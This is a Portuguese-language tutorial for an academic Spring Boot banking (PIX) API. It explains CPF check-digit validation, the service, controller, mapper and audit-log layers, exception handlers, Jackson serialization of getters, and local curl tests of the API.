Cliente manda JSON → Spring converte em CreateAccountRequest (DTO entrada) → Controller recebe → Service valida → Mapper converte DTO → Entity → Repository salva no banco → Mapper converte Entity → AccountResponse (DTO saida) → Controller retorna JSON.

Por que Mapper manual?

Existem bibliotecas como MapStruct que geram o codigo de conversao automaticamente. Mas neste projeto academico, fazemos manual para entender exatamente o que acontece. Quando voce entender o conceito, pode usar MapStruct para economizar tempo em projetos reais.

O que sao digitos verificadores?

Os 2 ultimos digitos de um CPF (e os 2 ultimos de um CNPJ) sao calculados a partir dos anteriores usando um algoritmo matematico chamado modulo 11. Isso permite verificar se o numero e valido sem consultar nenhum sistema externo.

Exemplo com CPF: 529.982.247-25

Digitos: 5 2 9 9 8 2 2 4 7 [2] [5]
                              ↑9 primeiros↑  ↑calculados↑

// Primeiro digito verificador:
// Multiplica cada digito por um peso decrescente (10, 9, 8...)
5×10 + 2×9 + 9×8 + 9×7 + 8×6 + 2×5 + 2×4 + 4×3 + 7×2
= 50 + 18 + 72 + 63 + 48 + 10 + 8 + 12 + 14 = 295

// Aplica modulo 11:
295 % 11 = 9    →    11 - 9 = 2    →    primeiro digito = 2 ✓

// Segundo digito: mesma logica com pesos (11, 10, 9...)
// incluindo o primeiro digito verificador

Codigo na pratica

public class DocumentValidator {

    public static boolean isValidCpf(String cpf) {
        if (cpf.length() != 11) return false;

        // Rejeita CPFs com todos os digitos iguais
        // 111.111.111-11 e matematicamente "valido" mas nao existe
        if (cpf.chars().distinct().count() == 1) return false;

        // Calcula primeiro digito verificador
        int sum = 0;
        for (int i = 0; i < 9; i++) {
            sum += Character.getNumericValue(cpf.charAt(i)) * (10 - i);
        }
        int firstDigit = 11 - (sum % 11);
        if (firstDigit >= 10) firstDigit = 0;

        // Confere com o 10o digito
        if (Character.getNumericValue(cpf.charAt(9)) != firstDigit)
            return false;

        // Calcula segundo digito verificador
        sum = 0;
        for (int i = 0; i < 10; i++) {
            sum += Character.getNumericValue(cpf.charAt(i)) * (11 - i);
        }
        int secondDigit = 11 - (sum % 11);
        if (secondDigit >= 10) secondDigit = 0;

        return Character.getNumericValue(cpf.charAt(10)) == secondDigit;
    }
}
Analogia

E como o digito verificador de um codigo de barras. O caixa do supermercado nao precisa consultar um servidor para saber se o codigo de barras e valido — o ultimo digito e uma "prova matematica" de que os anteriores estao corretos. CPF funciona igual.

Validacao local vs BACEN

Esta validacao e local — verifica se o formato e matematicamente valido. Nao verifica se o CPF pertence a alguem de verdade (isso seria consulta a Receita Federal). Para nosso sistema, validar o formato ja e suficiente para rejeitar entradas invalidas.

O que e um Service?

E a camada que contem a logica de negocio. O Repository sabe COMO acessar o banco. O Controller sabe COMO receber HTTP. O Service sabe O QUE pode e O QUE nao pode acontecer no dominio.

Padrao de todo metodo

Todo metodo do Service segue a mesma estrutura:

1. VALIDAR  — as regras de negocio
2. EXECUTAR — salvar/atualizar no banco
3. AUDITAR  — registrar a operacao (compliance)
4. RETORNAR — converter para DTO de saida

Exemplo: criar conta

@Service
public class AccountService {

    private final AccountRepository accountRepository;
    private final AuditService auditService;

    // Spring injeta as dependencias automaticamente
    public AccountService(AccountRepository accountRepository,
                          AuditService auditService) {
        this.accountRepository = accountRepository;
        this.auditService = auditService;
    }

    public AccountResponse createAccount(CreateAccountRequest request) {

        // REGRA 1: Documento valido? (algoritmo CPF/CNPJ)
        String doc = request.getHolderDocument();
        if (doc.length() == 11 && !DocumentValidator.isValidCpf(doc)) {
            throw new BusinessRuleViolationException("CPF invalido");
        }
        if (doc.length() == 14 && !DocumentValidator.isValidCnpj(doc)) {
            throw new BusinessRuleViolationException("CNPJ invalido");
        }

        // REGRA 2: Ja existe conta com esse documento neste banco?
        if (accountRepository.existsByHolderDocumentAndBankCode(
                doc, request.getBankCode())) {
            throw new ResourceAlreadyExistsException(
                "Ja existe conta para este documento neste banco");
        }

        // REGRA 3: Tudo OK — converte e salva
        Account account = AccountMapper.toEntity(request);
        Account saved = accountRepository.save(account);

        // REGRA 4: Registra no audit log
        auditService.logCreate("Account", saved.getId().toString(),
                              "system", saved);

        // REGRA 5: Retorna DTO de saida
        return AccountMapper.toResponse(saved);
    }
}

Exemplo: bloquear conta

public AccountResponse blockAccount(UUID id) {
    // 1. VALIDAR — conta existe?
    Account account = accountRepository.findById(id)
        .orElseThrow(() -> new ResourceNotFoundException(
            "Conta nao encontrada com ID: " + id));

    // 2. VALIDAR — ja esta bloqueada?
    if (account.getStatus() == AccountStatus.BLOCKED) {
        throw new BusinessRuleViolationException("Conta ja bloqueada");
    }

    // 3. EXECUTAR — muda status e salva
    AccountStatus oldStatus = account.getStatus();
    account.setStatus(AccountStatus.BLOCKED);
    Account saved = accountRepository.save(account);

    // 4. AUDITAR — registra mudanca de status
    auditService.logStatusChange("Account", id.toString(),
        "system", oldStatus.name(), "BLOCKED");

    // 5. RETORNAR — DTO de saida
    return AccountMapper.toResponse(saved);
}
Regra de ouro

O Service e o unico lugar onde regras de negocio existem. O Controller NAO tem if de regra. O Repository NAO valida dados. Se voce ve logica de negocio fora do Service, esta no lugar errado.

Injecao de dependencia

public AccountService(AccountRepository repo, AuditService audit) — O Spring ve o construtor, percebe que precisa de um AccountRepository e um AuditService, e injeta automaticamente. Voce nao faz new AccountRepository() — o Spring gerencia isso. E como pedir um ingrediente na cozinha e ele aparecer na sua bancada sem voce ir buscar.

O que e um Controller?

E a camada que recebe requisicoes HTTP e retorna respostas HTTP. O Controller e burro de proposito — ele so passa a bola para o Service e devolve o resultado.

Codigo na pratica

@RestController  // "Esta classe responde requisicoes HTTP"
@RequestMapping("/api/v1/accounts")  // Prefixo de todas as rotas
public class AccountController {

    private final AccountService accountService;

    public AccountController(AccountService accountService) {
        this.accountService = accountService;
    }

    // POST /api/v1/accounts — Criar conta
    // @Valid: Spring valida o DTO ANTES de chamar o metodo
    //         Se @NotBlank falhar, nem chega no Service
    @PostMapping
    public ResponseEntity<AccountResponse> create(
            @Valid @RequestBody CreateAccountRequest request) {
        AccountResponse response = accountService.createAccount(request);
        return ResponseEntity.status(HttpStatus.CREATED).body(response);
        //                          201 Created (padrao REST para criacao)
    }

    // GET /api/v1/accounts/{id} — Buscar por ID
    // @PathVariable: extrai o {id} da URL
    @GetMapping("/{id}")
    public ResponseEntity<AccountResponse> getById(
            @PathVariable UUID id) {
        return ResponseEntity.ok(accountService.getById(id));
        //                   200 OK
    }

    // PATCH /api/v1/accounts/{id}/block — Bloquear conta
    // PATCH (nao PUT): alteracao parcial, so muda o status
    @PatchMapping("/{id}/block")
    public ResponseEntity<AccountResponse> block(
            @PathVariable UUID id) {
        return ResponseEntity.ok(accountService.blockAccount(id));
    }

    // DELETE /api/v1/accounts/{id} — Desativar (soft delete)
    @DeleteMapping("/{id}")
    public ResponseEntity<Void> deactivate(@PathVariable UUID id) {
        accountService.deactivateAccount(id);
        return ResponseEntity.noContent().build();
        //                   204 No Content (padrao REST para DELETE)
    }
}

Verbos HTTP e quando usar cada um

| Verbo  | Quando usar              | Exemplo                          | Retorno |
|--------|--------------------------|----------------------------------|---------|
| POST   | Criar recurso novo       | POST /api/v1/accounts            | 201     |
| GET    | Buscar/consultar         | GET /api/v1/accounts/{id}        | 200     |
| PUT    | Atualizar TUDO           | PUT /api/v1/accounts/{id}        | 200     |
| PATCH  | Atualizar PARCIALMENTE   | PATCH /api/v1/accounts/{id}/block| 200     |
| DELETE | Remover (soft ou hard)   | DELETE /api/v1/accounts/{id}     | 204     |
Annotations explicadas

@RestController = "Sou um controller REST"
@RequestMapping("/api/v1/accounts") = "Minhas rotas comecam com /api/v1/accounts"
@PostMapping = "Respondo a POST nesta rota"
@GetMapping("/{id}") = "Respondo a GET com um ID na URL"
@PathVariable = "Extraia o valor de {id} da URL e coloque nesta variavel"
@RequestBody = "Converta o JSON do corpo da requisicao neste objeto"
@Valid = "Valide as annotations do DTO (@NotBlank etc) antes de continuar"

Regra de ouro

Se voce ve um if no Controller que nao seja sobre HTTP (como verificar headers), provavelmente esta no lugar errado — deveria estar no Service. O Controller e um garcom: anota o pedido, leva para a cozinha (Service), e traz o prato pronto. Ele nao cozinha.

Por que auditar?

Em sistemas financeiros, o regulador (BACEN) pode perguntar: "Quem bloqueou essa conta? Quando? Qual era o estado anterior?" Sem audit log, voce nao tem resposta. A auditoria e obrigacao legal, nao feature opcional.

Como funciona

@Service
public class AuditService {

    private final AuditLogRepository auditLogRepository;
    private final ObjectMapper objectMapper; // Objeto Java → JSON string

    // Registra criacao de entidade
    public void logCreate(String entityType, String entityId,
                          String performedBy, Object newValue) {
        AuditLog log = AuditLog.builder()
            .entityType(entityType)        // "Account"
            .entityId(entityId)            // "uuid-da-conta"
            .action(AuditAction.CREATE)    // CREATE
            .performedBy(performedBy)      // "system" (depois: userId do JWT)
            .oldValue(null)                // Nao tinha valor antes (criacao)
            .newValue(toJson(newValue))    // Snapshot JSON do que foi criado
            .build();
        auditLogRepository.save(log);
    }

    // Registra mudanca de status
    public void logStatusChange(String entityType, String entityId,
                                String performedBy,
                                String oldStatus, String newStatus) {
        AuditLog log = AuditLog.builder()
            .entityType(entityType)
            .entityId(entityId)
            .action(AuditAction.STATUS_CHANGE)
            .performedBy(performedBy)
            .oldValue("{\"status\": \"" + oldStatus + "\"}")
            .newValue("{\"status\": \"" + newStatus + "\"}")
            .build();
        auditLogRepository.save(log);
    }

    // Converte qualquer objeto para JSON string
    private String toJson(Object obj) {
        try {
            return objectMapper.writeValueAsString(obj);
        } catch (Exception e) {
            return obj.toString();
        }
    }
}

Exemplo de registro no banco

// Quando alguem bloqueia uma conta, o audit_logs recebe:
| entity_type | entity_id  | action        | performed_by | old_value          | new_value           | created_at          |
|-------------|------------|---------------|--------------|--------------------|---------------------|---------------------|
| Account     | uuid-123   | STATUS_CHANGE | admin-456    | {"status":"ACTIVE"}| {"status":"BLOCKED"}| 2026-03-18 14:30:00 |
Analogia

O AuditService e como uma camera de seguranca do sistema. Nao impede nada, nao bloqueia nada — so registra tudo que acontece. Se alguem perguntar "o que aconteceu com essa conta?", a camera (audit log) tem a gravacao completa: quem, quando, o que mudou, e qual era o estado anterior.

ObjectMapper — convertendo objetos para JSON

O ObjectMapper (da biblioteca Jackson, que ja vem com Spring Boot) converte qualquer objeto Java em uma string JSON. Isso permite salvar o estado completo de uma entidade no campo newValue do audit log.

// Objeto Java:
Account conta = Account.builder()
    .holderName("Riel").status(AccountStatus.ACTIVE).build();

// ObjectMapper converte para:
// {"holderName":"Riel","status":"ACTIVE","balance":0.00,...}

// Esse JSON e salvo no campo TEXT do audit_logs
// Se precisar investigar, e so ler o JSON
Fluxo completo de uma operacao auditada

POST /api/v1/accounts → Controller recebe → Service valida → Repository salva Account → AuditService registra a criacao → Mapper converte para DTO → Controller retorna 201.

Resultado: a conta existe no banco E o registro de quem criou, quando, e com quais dados esta salvo no audit_logs. Compliance garantido.

O que e um Map?

Map e como um dicionario: voce guarda coisas por "nome" (chave → valor). Aceita qualquer coisa.

// Map = dicionario flexivel
Map<String, Object> mochila = new HashMap<>();
mochila.put("caderno", "azul");
mochila.put("canetas", 3);
mochila.put("calculadora", true);

// Para pegar de volta:
Object caderno = mochila.get("caderno");  // "azul"

O problema: aceita TUDO, inclusive erros

// Ninguem impede voce de escrever errado:
mochila.put("cadeno", "azul");    // Typo! Compila normalmente
mochila.put("canetas", "tres");   // Deveria ser numero, mas aceita String
mochila.put("", null);            // Chave vazia, valor null — aceita tudo

// O Java NAO reclama. Compila perfeitamente.
// O erro so aparece quando alguem tenta USAR:
int canetas = (int) mochila.get("canetas");
// CRASH! "tres" nao e int — erro em RUNTIME (producao)

Classe tipada: mochila com compartimentos fixos

// Classe = molde com compartimentos DEFINIDOS
public class Mochila {
    private String caderno;      // So aceita String
    private int canetas;         // So aceita numero inteiro
    private boolean calculadora; // So aceita true/false
}

Mochila mochila = new Mochila();
mochila.setCaderno("azul");     // OK
mochila.setCanetas(3);          // OK
mochila.setCadeno("azul");      // NAO COMPILA — "setCadeno" nao existe
mochila.setCanetas("tres");     // NAO COMPILA — "tres" nao e int

No nosso projeto: ErrorResponse

// HOJE — Map (sem protecao):
Map<String, Object> body = new HashMap<>();
body.put("statsu", status.value());  // Typo! Java aceita. Quebra em producao.

// DEPOIS — ErrorResponse (com protecao):
ErrorResponse body = new ErrorResponse();
body.setStatus(404);        // Campo "status" existe, aceita int
body.setStatsu(404);        // NAO COMPILA — "setStatsu" nao existe
Analogia

Map e como uma sacola plastica — cabe qualquer coisa em qualquer posicao, mas voce nao sabe o que tem dentro ate abrir. Classe tipada e como uma maleta com compartimentos rotulados — cada coisa tem seu lugar, e voce nao consegue colocar a chave de fenda no compartimento da caneta.

O que e um Handler?

E um metodo que diz: "quando ESTA excecao acontecer, faca ISTO." O Spring tem uma lista de regras e percorre de cima para baixo quando algo da errado.

HOJE — so 2 regras

REGRA 1: Se for MethodArgumentNotValidException → retorne 400
REGRA 2: Se for Exception (qualquer uma)        → retorne 500

// Service lanca ResourceNotFoundException...
// Spring verifica:
// REGRA 1: ResourceNotFoundException E MethodArgument...? NAO
// REGRA 2: ResourceNotFoundException E Exception? SIM (toda excecao e Exception)
// → Usa REGRA 2 → retorna 500 Internal Server Error

// Mas 500 = "bug no servidor"
// ResourceNotFoundException = "cliente pediu algo que nao existe"
// Deveria ser 404!

DEPOIS — regras especificas

REGRA 1: Se for MethodArgumentNotValidException  → 400 (formato invalido)
REGRA 2: Se for ResourceNotFoundException        → 404 (nao encontrado)
REGRA 3: Se for ResourceAlreadyExistsException   → 409 (ja existe)
REGRA 4: Se for BusinessRuleViolationException   → 422 (regra violada)
REGRA 5: Se for AccountBlockedException          → 403 (proibido)
REGRA 6: Se for Exception (qualquer outra)       → 500 (bug real)

// Service lanca ResourceNotFoundException...
// Spring verifica:
// REGRA 1: E MethodArgument...? NAO
// REGRA 2: E ResourceNotFoundException? SIM!
// → Usa REGRA 2 → retorna 404 Not Found ✓ CORRETO!

Impacto para o usuario final

SEM handlers especificos (tudo vira 500):
  Conta nao existe    → "Erro interno do servidor"
  Chave ja cadastrada → "Erro interno do servidor"
  Saldo insuficiente  → "Erro interno do servidor"
  Bug real no codigo  → "Erro interno do servidor"
  // Usuario nao sabe o que esta errado

COM handlers especificos:
  Conta nao existe    → 404 → "Conta nao encontrada"
  Chave ja cadastrada → 409 → "Esta chave ja esta em uso"
  Saldo insuficiente  → 422 → "Saldo insuficiente"
  Bug real no codigo  → 500 → "Erro interno do servidor"
  // Cada erro tem sua mensagem correta
Por que isso importa

O frontend usa o codigo HTTP para decidir o que mostrar. Se tudo e 500, o app so mostra "Erro". Com codigos corretos, o app pode mostrar mensagens uteis e ate sugerir acoes: "Chave ja cadastrada. Deseja usar outra?"

public/private = acesso dentro do Java

public class Account {
    private String holderName;      // So codigo DENTRO desta classe acessa
    private String holderDocument;  // So codigo DENTRO desta classe acessa

    public String getHolderName() { return this.holderName; }
    // QUALQUER codigo Java pode chamar este metodo
}

// Em outro arquivo:
Account conta = ...;
conta.holderName;          // NAO COMPILA — e private
conta.getHolderName();     // OK — getter e public

Exposicao na API = Jackson serializa getters

Quando o Spring retorna um objeto na resposta HTTP, a biblioteca Jackson converte o objeto em JSON. Jackson serializa todos os campos que tem getter:

// Se o Controller retorna a Entity direto:
@GetMapping("/{id}")
public Account getById(@PathVariable UUID id) {
    return accountRepository.findById(id).get();
}

// Jackson ve a classe Account e pergunta:
// "Tem getHolderName()? Sim → inclui holderName no JSON"
// "Tem getHolderDocument()? Sim → inclui holderDocument no JSON"
// "Tem getBalance()? Sim → inclui balance no JSON"

// Resultado: TUDO vai para o JSON
{
    "holderDocument": "12345678901",  // CPF EXPOSTO! LGPD violada
    "balance": 15000.00               // Saldo EXPOSTO!
}

Com DTO — voce controla o que o Jackson ve

// AccountResponse SO TEM os campos que queremos expor:
public class AccountResponse {
    private UUID id;
    private String holderName;
    private String holderDocument;  // Mapper pode MASCARAR
    private AccountStatus status;
    // SEM balance, SEM updatedAt
}

// Resultado: JSON controlado
{
    "holderName": "Riel",
    "holderDocument": "***456.789-**",  // MASCARADO!
    "status": "ACTIVE"
    // Sem balance — campo nao existe no DTO
}
Resumo

private/public controla acesso dentro do Java (entre classes). A exposicao na API acontece pelo Jackson serializar getters. O DTO controla quais getters existem, portanto controla o que aparece no JSON. Sao dois mecanismos completamente diferentes.

Mapper = tradutor

E um codigo que pega um objeto de um tipo e cria um objeto de outro tipo, copiando os campos relevantes. Como alguem que le um formulario de inscricao e preenche uma ficha cadastral.

Entrada → Entity (para salvar)

// Formulario que o cliente mandou (DTO de entrada):
CreateAccountRequest formulario = ...;
// Tem: holderName, holderDocument, bankCode, branch, accountNumber, accountType
// NAO tem: id, balance, status, createdAt (sistema define)

// Mapper "traduz" para Entity:
public static Account toEntity(CreateAccountRequest formulario) {
    return Account.builder()
        .holderName(formulario.getHolderName())         // Copia "Riel"
        .holderDocument(formulario.getHolderDocument())  // Copia CPF
        .bankCode(formulario.getBankCode())              // Copia banco
        // balance e status: @Builder.Default (ZERO e ACTIVE)
        // id e createdAt: gerados automaticamente pelo JPA
        .build();
}

Entity → Saida (para responder)

// Ficha cadastral do banco (Entity):
Account conta = accountRepository.findById(id);
// Tem TUDO: id, holderName, holderDocument, balance, updatedAt...

// Mapper "traduz" para resposta (so o que pode ser exposto):
public static AccountResponse toResponse(Account conta) {
    return AccountResponse.builder()
        .id(conta.getId())
        .holderName(conta.getHolderName())
        .holderDocument(mascarar(conta.getHolderDocument())) // MASCARA CPF
        .status(conta.getStatus())
        .createdAt(conta.getCreatedAt())
        // NAO copia: updatedAt (dado interno)
        .build();
}

Por que os formatos sao diferentes?

Entrada (CreateAccountRequest) → 6 campos  — o que o cliente MANDA
Entity  (Account)             → 10 campos — o que o banco ARMAZENA
Saida   (AccountResponse)     → 8 campos  — o que o cliente RECEBE

// O Mapper sabe como traduzir de um para outro
// E como um interprete entre tres idiomas
Analogia

Voce preenche um formulario de abertura de conta no banco (6 campos). O banco armazena sua ficha completa com dados internos (10 campos). Quando voce consulta sua conta no app, ve so informacoes relevantes (8 campos). O Mapper e o funcionario que traduz entre esses tres documentos.

Sem Spring — voce monta tudo na mao

public class Main {
    public static void main(String[] args) {
        // 1. Cria conexao com banco
        DataSource dataSource = new HikariDataSource(config);
        // 2. Cria o EntityManager (JPA)
        EntityManagerFactory emf = Persistence.create...("pixhub");
        // 3. Cria o Repository (precisa do EntityManager)
        AccountRepository repo = new AccountRepositoryImpl(emf);
        // 4. Cria o AuditService (precisa do seu Repository)
        AuditService auditService = new AuditService(auditLogRepo);
        // 5. Cria o AccountService (precisa de Repository + AuditService)
        AccountService service = new AccountService(repo, auditService);
        // 6. Cria o Controller (precisa do Service)
        AccountController controller = new AccountController(service);
        // 7. Configura servidor HTTP...
        // 8. Registra rotas...
        // 50+ linhas de configuracao antes de qualquer logica!
    }
}

Com Spring — ele faz tudo automaticamente

@Repository   // "Eu existo. Me gerencia."
public interface AccountRepository { ... }

@Service      // "Eu existo. Me gerencia."
public class AccountService { ... }

@RestController  // "Eu existo. Me gerencia."
public class AccountController { ... }

// O Spring ve as annotations e MONTA TUDO sozinho:
// "AccountController precisa de AccountService... vou criar um"
// "AccountService precisa de AccountRepository... vou criar"
// "Pronto, tudo conectado. Servidor rodando."

Injecao de dependencia

@Service
public class AccountService {
    private final AccountRepository accountRepository;

    // Spring ve este construtor e injeta automaticamente
    public AccountService(AccountRepository accountRepository) {
        this.accountRepository = accountRepository;
    }
}

// Voce NAO faz: new AccountRepository()
// O Spring ja criou um e entrega para voce
Analogia

@Service e um rotulo que diz ao Spring: "esta classe existe, crie uma instancia e guarde para quando alguem precisar." E como um restaurante: voce pede "preciso de um garfo" (declara no construtor) e o garcom (Spring) traz automaticamente. Voce nao vai na cozinha buscar.

Anatomia da declaracao

private final AccountRepository accountRepository;
//      |       |                 |
//      |       |                 └── NOME (como voce vai chamar)
//      |       └── TIPO (o que ela E — qual classe/interface)
//      └── Modificadores:
//          private = so esta classe acessa
//          final = nao pode mudar depois de atribuido

Comparacao com outras linguagens

// JavaScript (sem tipos):
let accountRepository = ...;  // Pode ser qualquer coisa

// TypeScript (com tipos):
let accountRepository: AccountRepository = ...;

// Java (com tipos, na frente):
AccountRepository accountRepository = ...;
// O tipo vem ANTES do nome — convencao Java

Convencao de nomes

AccountRepository accountRepository;
//  ↑ Maiuscula       ↑ minuscula
//  = TIPO (classe)   = nome da variavel

// Em Java, SEMPRE:
// Tipos/Classes: PascalCase (AccountRepository, PixKeyService)
// Variaveis:     camelCase  (accountRepository, pixKeyService)

// Depois usa pelo nome:
accountRepository.findById(id);      // Chama metodo pelo nome
accountRepository.save(account);     // Chama metodo pelo nome
Analogia

AccountRepository (tipo) e como dizer "e um martelo". accountRepository (nome) e como dizer "vou chamar de 'meu martelo'". Quando voce usa accountRepository.save(), esta dizendo "meu martelo, faca isso" — chama pela variavel, que e do tipo martelo, entao tem os metodos de martelo.

Annotations sao etiquetas

Annotations NAO tem fechamento. Sao "etiquetas" coladas acima do que voce quer marcar. Se aplicam ao elemento imediatamente abaixo.

@Service                          // Aplica-se a CLASSE
public class AccountService {

    @Autowired                    // Aplica-se ao CAMPO
    private AccountRepository accountRepository;

    @GetMapping("/{id}")          // Aplica-se ao METODO
    public ResponseEntity getById(
            @PathVariable UUID id,       // Aplica-se ao PARAMETRO
            @RequestParam String filter  // Aplica-se ao PARAMETRO
    ) {
        ...
    }
}

Comparacao com HTML

<!-- HTML: tem abertura e fechamento -->
<div class="container">
    conteudo aqui
</div>

// Java: annotation NAO tem fechamento
@Service                        // ← so cola em cima
public class AccountService {   // ← abre com {
    ...
}                               // ← fecha com }

Annotations com parametros

// Sem parametros:
@Service
@Override

// Com 1 parametro:
@GetMapping("/{id}")
@Column(name = "holder_name")

// Com varios parametros:
@Column(name = "balance", nullable = false, precision = 15, scale = 2)

// Comparacao com atributos HTML:
// <img src="foto.jpg">                        ← 1 atributo
// <img src="foto.jpg" alt="foto" width="200"> ← varios atributos

O que o Spring faz com as annotations

O Spring le essas etiquetas quando a aplicacao inicia. Ele "escaneia" todas as classes e toma decisoes:

@Service             → "Vou criar uma instancia e gerenciar"
@RestController      → "Vou expor como endpoint HTTP"
@GetMapping("/{id}") → "Quando chegar GET nessa rota, chamo este metodo"
@Column(name = "x")  → "Este campo mapeia para a coluna 'x' no banco"
@NotBlank            → "Se este campo vier vazio, rejeito com erro 400"
@Valid               → "Valide TODAS as annotations do DTO antes de continuar"
Regra simples

Annotation = etiqueta colada em cima. Sem fechamento. Se aplica ao que esta logo abaixo (classe, metodo, campo ou parametro). O Spring le as etiquetas e toma decisoes automaticamente. Voce nao precisa chamar nada — o Spring faz o trabalho quando a aplicacao inicia.

List — sequencia ordenada por posicao

Como uma fila de pessoas: cada uma tem uma posicao (0, 1, 2...).

List<String> fila = new ArrayList<>();
fila.add("Riel");      // posicao 0
fila.add("Maria");     // posicao 1
fila.add("Joao");      // posicao 2
fila.get(0);           // "Riel" — acessa pela POSICAO
// Aceita duplicatas: fila.add("Riel") novamente? OK

Map — pares de chave → valor

Como uma agenda telefonica: cada nome tem um telefone.

Map<String, String> agenda = new HashMap<>();
agenda.put("Riel", "81999990000");
agenda.put("Maria", "81988880000");
agenda.get("Riel");   // "81999990000" — acessa pelo NOME (chave)
// Chave duplicada? Sobrescreve o valor anterior

Set — colecao sem duplicatas

Como uma lista de presenca: cada nome aparece uma vez so.

Set<String> presentes = new HashSet<>();
presentes.add("Riel");
presentes.add("Maria");
presentes.add("Riel");   // Ignorado — ja existe
// presentes = {"Riel", "Maria"} — sem duplicata

Resumo

List → acessa por POSICAO:  lista.get(0)
Map  → acessa por NOME:     mapa.get("status")
Set  → verifica se contem:  set.contains("Riel")
No nosso projeto

Usamos List quando um repository retorna varias entidades: List<PixKey> findByAccountId(UUID id). O Map era usado no GlobalExceptionHandler para montar a resposta de erro (sera substituido por ErrorResponse). Set aparecera em validacoes (ex: verificar se um valor esta numa lista de permitidos).

Dois tipos de erro na perspectiva do usuario

Na UX profissional, erros se dividem em dois grupos: os que o usuario resolve sozinho e os que precisam de suporte. Os codigos HTTP sao a ponte entre backend e frontend para essa decisao.

4xx — Erro do usuario (ele resolve)

// 400 — "Voce preencheu errado"
// UX: campo fica vermelho, mensagem ao lado
{ "status": 400, "message": "CPF deve ter 11 digitos", "field": "holderDocument" }
// Frontend: destaca campo CPF em vermelho com a mensagem

// 404 — "Isso nao existe"
// UX: tela de "nao encontrado" com sugestao
{ "status": 404, "message": "Chave PIX nao encontrada" }
// Frontend: "Chave nao encontrada. Verifique se digitou corretamente."

// 409 — "Ja existe"
// UX: mensagem clara com opcao alternativa
{ "status": 409, "message": "Este CPF ja possui chave PIX cadastrada" }
// Frontend: "CPF ja cadastrado. Deseja usar outra chave como e-mail?"

// 422 — "Entendi, mas nao pode"
// UX: mensagem explicando o motivo
{ "status": 422, "message": "Saldo insuficiente. Disponivel: R$ 30,00" }
// Frontend: "Saldo insuficiente para esta transferencia."

5xx — Erro do sistema (precisa de suporte)

// 500 — "Algo quebrou no servidor"
// UX: mensagem generica + opcao de contato
{ "status": 500, "message": "Ocorreu um erro interno." }
// Frontend: "Ops! Algo deu errado. Se persistir, contate o suporte."
// NUNCA mostra detalhes tecnicos ao usuario (seguranca)

// 503 — "Sistema fora do ar"
{ "status": 503, "message": "Servico temporariamente indisponivel" }
// Frontend: "Estamos em manutencao. Tente em alguns minutos."

Como o frontend usa os codigos

// JavaScript simplificado:
if (status >= 400 && status < 500) {
    // 4xx: ERRO DO USUARIO — mostra mensagem clara
    // O usuario pode corrigir e tentar de novo
    showUserError(data.message);
    if (status === 400) highlightField(data.field);  // Campo vermelho
    if (status === 409) showAlternative();            // Sugestao
    if (status === 422) showBusinessRule(data.message);
}

if (status >= 500) {
    // 5xx: ERRO DO SISTEMA — mostra mensagem generica
    // O usuario NAO pode resolver sozinho
    showSystemError("Algo deu errado. Contate o suporte.");
    showSupportButton();  // Botao "Falar com suporte"
}
Resumo de UX

4xx: mensagem ESPECIFICA + mostra O QUE corrigir + SEM botao de suporte.
5xx: mensagem GENERICA + NUNCA detalhes tecnicos + COM botao de suporte.

Sem handlers especificos no backend, o frontend recebe 500 para tudo e so pode mostrar "Erro generico" — pessima experiencia para o usuario.

O problema: campos private sao inacessiveis

public class Account {
    private String holderName = "Riel";     // Trancado!
    private BigDecimal balance = new BigDecimal("1000.00");
}

Account conta = new Account();
conta.holderName;   // NAO COMPILA — private, porta trancada

Getter — porta controlada para LER

public class Account {
    private String holderName = "Riel";

    // GETTER = metodo publico que RETORNA o valor do campo
    public String getHolderName() {
        return this.holderName;
    }
    // get + HolderName = getHolderName
    // "pegar" + "nome do campo" = nome do getter
}

Account conta = new Account();
conta.holderName;          // NAO COMPILA — private
conta.getHolderName();     // "Riel" — getter e a porta aberta

Setter — porta controlada para ESCREVER

public class Account {
    private String holderName;

    // GETTER — pega o valor (le)
    public String getHolderName() {
        return this.holderName;
    }

    // SETTER — define o valor (escreve)
    public void setHolderName(String holderName) {
        this.holderName = holderName;
    }
}

conta.setHolderName("Riel");          // ESCREVE
String nome = conta.getHolderName();  // LE — "Riel"

Lombok gera tudo automaticamente

// SEM Lombok — repetitivo:
public class Account {
    private String holderName;
    private String holderDocument;
    private BigDecimal balance;

    public String getHolderName() { return this.holderName; }
    public void setHolderName(String v) { this.holderName = v; }
    public String getHolderDocument() { return this.holderDocument; }
    public void setHolderDocument(String v) { this.holderDocument = v; }
    public BigDecimal getBalance() { return this.balance; }
    public void setBalance(BigDecimal v) { this.balance = v; }
    // 6 metodos repetitivos para 3 campos...
}

// COM Lombok — uma annotation:
@Getter   // Gera todos os getters automaticamente
@Setter   // Gera todos os setters automaticamente
public class Account {
    private String holderName;
    private String holderDocument;
    private BigDecimal balance;
    // Pronto! 6 metodos existem invisivelmente
}

Por que o Jackson usa getters?

Quando o Spring retorna um objeto como JSON, o Jackson (biblioteca JSON) procura todos os metodos que comecam com "get" e monta o JSON:

// Jackson faz internamente:
// "Account tem getHolderName()?"     → Sim → "holderName": "Riel"
// "Account tem getHolderDocument()?" → Sim → "holderDocument": "12345678901"
// "Account tem getBalance()?"        → Sim → "balance": 1000.00

// Resultado: JSON com TODOS os getters
{
    "holderName": "Riel",
    "holderDocument": "12345678901",  // Exposto!
    "balance": 1000.00                // Exposto!
}
Por isso o DTO e importante

Se o AccountResponse (DTO) nao tem getBalance(), o Jackson nao inclui balance no JSON. Sem getter = sem campo no JSON. O DTO controla quais getters existem, portanto controla o que aparece na resposta da API.

Analogia

Getter e como uma janela de atendimento: o dado esta guardado la dentro (private), mas voce pode pedir para ver pela janela (getter). Setter e como um formulario de alteracao: voce preenche o formulario (parâmetro) e entrega pela janela para atualizar o dado interno. O Jackson e como um fotografo: ele fotografa tudo que esta visivel pelas janelas (getters) — se nao tem janela, nao aparece na foto (JSON).

O que fizemos na Fase 03?

Depois de implementar os 18 arquivos da Fase 03, precisamos verificar se tudo funciona. Fizemos isso em duas etapas:

Etapa 1 — Compilacao
mvn clean compile
# Resultado: BUILD SUCCESS (43 source files compiled)

mvn clean compile apaga tudo que foi compilado antes (clean) e compila do zero (compile). Se algum arquivo tiver erro de sintaxe, import errado, ou tipo incompativel, o Maven para aqui e mostra o erro. Compilar com sucesso significa: o codigo esta sintaticamente correto, mas nao garante que funciona como esperado.

Etapa 2 — Testes manuais com curl
# Criar conta (deve retornar 201 Created)
curl -s -X POST http://localhost:8080/api/v1/accounts \
  -H "Content-Type: application/json" \
  -d '{"holderName":"Riel","holderDocument":"52998224725",
       "bankCode":"001","branch":"0001",
       "accountNumber":"12345678","accountType":"CHECKING"}'

# Buscar conta (deve retornar 200 OK)
